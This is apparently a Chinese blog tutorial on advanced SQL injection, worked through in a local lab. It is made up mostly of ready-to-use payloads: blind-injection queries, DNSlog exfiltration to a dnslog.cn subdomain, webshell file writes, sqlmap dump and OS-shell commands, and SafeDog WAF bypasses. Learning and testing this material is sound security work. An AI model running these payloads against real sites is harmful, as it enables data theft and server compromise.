SQL注入漏洞进阶篇:从盲注到WAF绕过的全面解析

引言

在网络安全领域,SQL 注入漏洞是最常见且危害最大的 web 应用程序漏洞之一。随着安全防护技术的不断发展,传统的 SQL 注入攻击方式已经越来越难以成功,攻击者需要掌握更加高级的注入技术才能突破安全防护。本文将深入探讨 SQL 注入的进阶技术,包括布尔盲注、延时盲注、DNSlog 盲注、二次注入、堆叠注入等,并介绍如何使用 SQLMap 工具进行自动化注入以及如何绕过 WAF 防火墙的防护。

一、布尔盲注

1.1 概念

布尔盲注是一种特殊的 SQL 注入技术,当改变浏览器传给后台 SQL 的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用 union 联合查询注入与报错注入,这时候可以尝试使用布尔注入。一般情况下,当带入参数为真和假时,页面会有不同的反映,比如有无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。

1.2 使用条件

  • 页面没有明显的错误信息回显

  • 页面在条件为真和假时有不同的显示状态

  • 无法使用 union 联合查询注入与报错注入

1.3 实战步骤

1.3.1 判断是否存在布尔注入

首先需要判断目标网站是否存在布尔注入漏洞,可以通过以下方式进行测试:

复制代码
​
?id=2 and 1=1
?id=2 and 1=2

如果两个请求返回的页面有明显差异,说明存在布尔注入漏洞。

1.3.2 获得数据库名

a. 获得数据库名字长度

通过逐步尝试的方式,确定数据库名的长度:

复制代码
​
?id=1 and length(database())<5
?id=1 and length(database())>2
?id=1 and length(database())=4

通过不断调整数值,最终确定数据库名的长度为 4。

b. 获得数据库的名字

使用 ASCII 码,逐个甄别出数据库每一个字符:

复制代码
​
?id=1 and ascii(substr(database(),1,1))<123 #122为z
?id=1 and ascii(substr(database(),1,1))>64 #65为A
?id=1 and ascii(substr(database(),1,1))>100 #true 可显示
?id=1 and ascii(substr(database(),1,1))>110 #false 不可显示
?id=1 and ascii(substr(database(),1,1))=106 #j

通过同样的方法,依次判断第二个字符、第三个字符、第四个字符,最终获得数据库的名字为 jrlt。

1.3.3 获得数据库有哪些表

a. 获得数据库的表个数

复制代码
​
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())<5
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())<2
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())=2

通过逐步尝试,确定数据库中有 2 个表。

b. 获得某个表的长度

复制代码
​
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<10
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<5
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 8

确定第一个表的长度是 8。

c. 获得某个表名称

复制代码
​
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<120
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=109 #m

依次获得第一个表为 messages,同理获得第二表为 users。

1.3.4 获得表有哪些字段

a. 获得 user 表列数

复制代码
​
?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5

确定 users 表有 5 个字段。

b. 获得第一个字段的长度

复制代码
​
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<10
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<1
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2

确定第一个字段的长度是 2。

c. 获得第一个字段的名称

复制代码
​
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<100
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<110
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 #i
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),2,1))=100 #d

获得第一个字段的名称是 id,同理可以获得其他字段 name,password,photo,money。

1.3.5 获得字段的真实内容

a. 获得 user 字段第一行数据的内容长度

复制代码
​
?id=1 and (select LENGTH(name) from users LIMIT 0,1)=5 # 无显示
?id=1 and (select LENGTH(name) from users LIMIT 0,1)=6 # derry1等于6个字符长度

确定 user 字段第一行数据的内容长度为 6。

b. 获得 user 字段第一行数据第一个字符内容

复制代码
​
?id=1 and ascii(substr((select name from users limit 0,1),1,1))=100 # d
?id=1 and ascii(substr((select name from users limit 0,1),2,1))=101 # e

最终数据为:derry1。

二、延时盲注

2.1 概念

延时盲注也称延时注入、时间注入等,这种注入方式在传给后台的参数中,设置了一个 if 语句,当条件为真时执行 sleep 语句,条件为假时无执行语句,然后根据浏览器的响应时间来推测 sleep 语句是否被执行,进而推测 if 条件是否为真。

延时盲注与布尔盲注的核心思想都是通过浏览器两种不同的响应来推测输入的条件的真假,布尔盲注是条件真假时页面会有不同显示,延时盲注则是显示结果真假只能从响应时间上进行推测。

2.2 使用条件

  • union,报错、布尔等注入方式都无法使用时

  • 页面没有明显的错误信息回显

  • 可以通过响应时间来判断条件的真假

2.3 实战步骤

2.3.1 判断是延迟注入点
复制代码
​
?id=1 and sleep(5) # F12 查看,每次访问 都睡了 5秒多钟
?id=-1 and sleep(5) # F12 查看,每次访问 都没有怎么睡

如果第一个请求响应时间明显比第二个请求长,说明存在延时注入漏洞。

2.3.2 获得数据库名字

a. 获得数据库名字长度

复制代码
​
?id=1 and if(length(database())<10,sleep(5),1) # 睡了 代表 在10之内的长度
?id=1 and if(length(database())<3,sleep(5),1) # 没有睡 代表 是 错误的
?id=1 and if(length(database())=4,sleep(5),1) # 睡了 代表 获得长度为4

通过不断调整数值,最终确定数据库名的长度为 4。

b. 获得数据库名第一个字符

复制代码
​
?id=1 and if(ascii(substr(database(),1,1))=106,sleep(5),1) #j 睡了 对的
?id=1 and if(ascii(substr(database(),2,1))=114,sleep(5),1) #r 睡了 对的
?id=1 and if(ascii(substr(database(),3,1))=108,sleep(5),1) #l 睡了 对的
?id=1 and if(ascii(substr(database(),4,1))=116,sleep(5),1) #t 睡了 对的

通过同样的方法,依次判断每个字符,最终获得数据库的名字为 jrlt。

2.3.3 获得表名
复制代码
​
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))=109,sleep(5),1) //m 睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),2,1))=101,sleep(5),1) //e 睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),3,1))=115,sleep(5),1) //s 睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),4,1))=115,sleep(5),1) //s 睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),5,1))=97,sleep(5),1) //a 睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),6,1))=103,sleep(5),1) //g 睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),7,1))=101,sleep(5),1) //e 睡了 对的
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),8,1))=115,sleep(5),1) //s 睡了 对的

依次获得第一个表为 messages,同理获得第二表为 users。

2.3.4 获得表的字段名
复制代码
​
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))=105,sleep(5),1) //i 睡了 对的
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),2,1))=100,sleep(5),1) //d 睡了 对的

获得第一个字段的名称是 id,同理可以获得其他字段 name,password,photo,money。

2.3.5 获得 users 表的第一行 name 字段的数据
复制代码
​
?id=1 and if(ascii(substr((select name from users limit 0,1),1,1))=100,sleep(5),1) // d
?id=1 and if(ascii(substr((select name from users limit 0,1),2,1))=101,sleep(5),1) // e
?id=1 and if(ascii(substr((select name from users limit 0,1),3,1))=114,sleep(5),1) // r
?id=1 and if(ascii(substr((select name from users limit 0,1),4,1))=114,sleep(5),1) // r

最终数据为:derry1。

三、DNSlog 盲注

3.1 概念

DNSlog 盲注就是通过 load_file 函数发起请求,然后去 DNSlog 平台接收数据,需要用到 load_file 函数就是需要用到 root 用户读写文件的功能。

3.2 读写文件

3.2.1 开启读写文件功能

首先需要查看 MySQL 的配置:

复制代码
​
show VARIABLES like 'secure_file_priv'

如果 secure_file_priv 的值为 NULL 或具体路径,需要修改配置文件:

复制代码
​
secure_file_priv=

修改配置文件后,需要重启 MySQL 服务。

3.2.2 读写文件实战

a. 读取获得网站路径

复制代码
​
?id=-1 union select 1,2,3,@@datadir

通过查询 datadir,可以获得 MySQL 的数据目录,进而推测网站的路径。

复制代码
​
?id=-5 union select 1,2,3,load_file('E:\\phpStudy\\PHPTutorial\\Apache\\conf\\vhosts.conf')

通过读取 vhosts.conf 文件,可以获得站点的具体路径。

b. 写入文件

复制代码
​
?id=-1 union select 1,2,3,'<?php phpinfo();?>' into outfile "E:\\phpStudy\\PHPTutorial\\WWW\\bbs\\test.php"

将木马写入到目标网站中,然后访问测试:http://localhost/bbs/test.php

3.3 DNSlog 盲注实战

3.3.1 获得数据库名字

首先需要在 DNSlog 平台(如http://dnslog.cn/)获得一个域名,然后使用以下语句:

复制代码
​
?id=1 and load_file(concat('//',(select database()),'.29jr5p.dnslog.cn/123'))

通过查看 DNSlog 平台的记录,可以获得数据库的名字。

3.3.2 获得当前数据库的表
复制代码
​
?id=1 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.29jr5p.dnslog.cn/123'))

通过同样的方法,可以获得数据库中的表名。

四、二次注入

4.1 概念

二次注入是指已存储(数据库、文件)的用户输入被读取后,再次进入到 SQL 查询语句 中 导致的注入。

4.2 实战攻击步骤

4.2.1 碰撞用户

首先注册一个用户名为 admin,密码为 123456 的用户,为后面做储备。

4.2.2 注册新用户

再次注册用户名为 admin'#,密码为 123456 的用户,系统会提示 admin 用户已经存在,这时候就可以进行攻击了。

4.2.3 修改 admin'# 用户的密码

登录 admin'# 用户,然后修改密码,这时候会直接影响到 admin 用户的密码。

4.3 原因解释

在修改密码时,后台执行的 SQL 语句可能是:

复制代码
​
update users set password=md5('123456') where name='admin'#'

由于 #在 SQL 中是注释符号,所以实际执行的 SQL 语句是:

复制代码
​
update users set password=md5('123456') where name='admin'

这样就会修改 admin 用户的密码,而不是 admin'# 用户的密码。

五、堆叠注入

5.1 概念

在 SQL 数据库中,每条语句是以;分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。

5.2 与 union 对比

  • union 联合查询注入执行的语句类型是有限的,可以用来执行查询语句。

  • 堆叠注入可以执行的是任意的语句,如增删改等。

5.3 实战步骤

5.3.1 获取 user 表的字段数据 - 收集
复制代码
​
?id=-1 union select 1,2,version(),database()
?id=-1 union select 1,2,version(), group_concat(table_name) from information_schema.tables where table_schema='jrlt'
?id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'
?id=-1 union select 1,2,3,concat(name,':',password) from users limit 0,1

通过这些语句,可以获取到 users 表的字段信息和数据。

5.3.2 构建攻击语句
复制代码
​
?id=2;insert into users (name,password) values('ddd',md5('ddd'));

通过堆叠注入,可以在一次请求中执行多条 SQL 语句,实现插入、更新、删除等操作。

六、SQLMap 工具运用

6.1 概念

SQLMap 是一个开源的渗透测试工具,它可以自动化检测和利用 SQL 注入漏洞并接管数据库服务器。它有一个强大的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项。

6.2 使用实战

6.2.1 基本操作

a. 检测漏洞

复制代码
​
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1'

b. 查询当前数据库

复制代码
​
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' --current-db

c. 当前库有哪些表

复制代码
​
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt --tables

d. 某表有哪些字段

复制代码
​
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt -T users --columns

e. 列出内容(数据)

复制代码
​
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt -T users -C password --dump
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt -T users -C name,password --dump
6.2.2 拓展操作

a. 执行 sql

复制代码
​
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' --sql-shell
select * from messages
exit # 退出输入

b. 弱密码爆破

复制代码
​
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' --password

c. 执行系统命令

复制代码
​
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' --os-shell
dir
...
exit # 退出输入

d. 读取文件

复制代码
​
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' --file-read "D:\e.txt"

七、安全狗(WAF 防御)

7.1 未开启 waf 的效果

在未开启 WAF 防护的情况下,可以正常进行 SQL 注入攻击:

复制代码
​
id=-1 union select 1,2,3,4

7.2 开启 waf 防护

7.2.1 安装 apache2.0
复制代码
​
PS D:\phpstudy_pro\Extensions\Apache2.4.39\bin> .\httpd.exe -k install -n apache2.0
7.2.2 安装安全狗(waf 防护)

下载并安装安全狗 WAF 防护软件,安装到某个英文路径下即可。

7.2.3 开启 waf 防护后效果

开启 WAF 防护后,SQL 注入攻击会被拦截:

复制代码
​
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,4

7.3 绕过 waf 的防护

7.3.1 修改代码来绕 waf

修改 D:\phpstudy_pro\WWW\bbs\showmessage.php 文件,将:

复制代码
​
$_GET['id']

修改为:

复制代码
​
$_REQUEST['id']

然后使用 POST 请求方式:

复制代码
​
http://localhost/bbs/showmessage.php
-- POST Data
id=-1 union select 1,2,3,4
7.3.2 测试
复制代码
​
http://localhost/bbs/showmessage.php
-- POST Data
id=-1 union select 1,2,3,database()

7.4 特殊字符过滤

7.4.1 为 waf 防护之前的效果
复制代码
​
http://localhost/bbs/showmessage.php
-- POST Data
id=-1 union select 1,2,3,database()
7.4.2 原因解释

WAF 会对数据库的查询相关信息进行限制,POST 也限制了。可以使用特殊字符来绕过防护:

复制代码
​
http://localhost/bbs/showmessage.php
-- POST Data
id=-1 union select 1,2,3,database/**/()

7.5 参数污染绕过 waf

复制代码
​
?id=1/**&id=-1%20union%20select%201,2,3,666%23*/
?id=1/**&id=-1%20union%20select%201,2,3,database/**/()%23*/

通过参数污染的方式,可以绕过 WAF 的防护,成功执行 SQL 注入攻击。

八、总结与思考

8.1 布尔盲注与延时盲注的区别

  • 布尔盲注是通过页面的不同显示状态来判断条件的真假

  • 延时盲注是通过页面的响应时间来判断条件的真假

  • 布尔盲注的效率比延时盲注高,因为延时盲注需要等待 sleep 时间

  • 延时盲注可以在布尔盲注无法使用的情况下使用

8.2 二注与堆叠注的特点

  • 二次注入是指已存储的用户输入被读取后,再次进入到 SQL 查询语句中导致的注入

  • 堆叠注入是一次性注入并执行多条语句的注入方式

  • 二次注入需要先注入数据,然后在特定的场景下触发

  • 堆叠注入可以执行任意的 SQL 语句,包括增删改查

8.3 SQLMap 获取最终的用户名与密码

使用 SQLMap 工具可以自动化获取数据库中的用户名和密码,具体步骤如下:

  1. 检测漏洞:sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1'

  2. 查询当前数据库:sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' --current-db

  3. 获取数据库中的表:sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt --tables

  4. 获取表中的字段:sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt -T users --columns

  5. 获取用户名和密码:sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt -T users -C name,password --dump

通过以上步骤,可以轻松获取数据库中的用户名和密码。

8.4 安全防护建议

  • 对用户输入进行严格的过滤和验证

  • 使用参数化查询,避免直接拼接 SQL 语句

  • 最小化数据库用户的权限

  • 定期更新和修补系统漏洞

  • 部署 WAF 防火墙,提高安全防护能力

  • 对敏感数据进行加密存储

  • 定期进行安全审计和渗透测试

SQL 注入漏洞是 web 应用程序中最常见的安全漏洞之一,掌握 SQL 注入的进阶技术对于网络安全从业者来说是非常重要的。通过本文的学习,相信读者已经对 SQL 注入的进阶技术有了更深入的了解,希望读者能够将这些知识应用到实际的安全测试和防护工作中,提高 web 应用程序的安全性。

相关推荐
快乐柠檬不快乐2 小时前
使用Python操作文件和目录(os, pathlib, shutil)
jvm·数据库·python
V1ncent Chen2 小时前
SQL大师之路 13 聚合函数和分组
数据库·sql·mysql·数据分析
赵渝强老师2 小时前
【赵渝强老师】高斯数据库(openGauss)的体系架构
数据库·postgresql·opengauss·gaussdb·国产数据库
IvorySQL3 小时前
开源同行,感谢有你|IvorySQL 社区邀您领取贡献者证书
数据库·postgresql·开源
IvorySQL3 小时前
PostgreSQL 技术日报 (3月19日)|当 AI 代理开始批量创建数据库
数据库·postgresql·开源
2401_874732533 小时前
Python上下文管理器(with语句)的原理与实践
jvm·数据库·python
l1t3 小时前
与系统库同名python脚本文件引起的奇怪错误及其解决
开发语言·数据库·python
星空露珠3 小时前
迷你世界UGC3.0脚本Wiki角色模块管理接口 Actor
开发语言·数据库·算法·游戏·lua
IpdataCloud3 小时前
指纹浏览器为什么要自建IP检测?基于IP数据云离线库的架构实践
数据库·网络协议·tcp/ip·架构·edge浏览器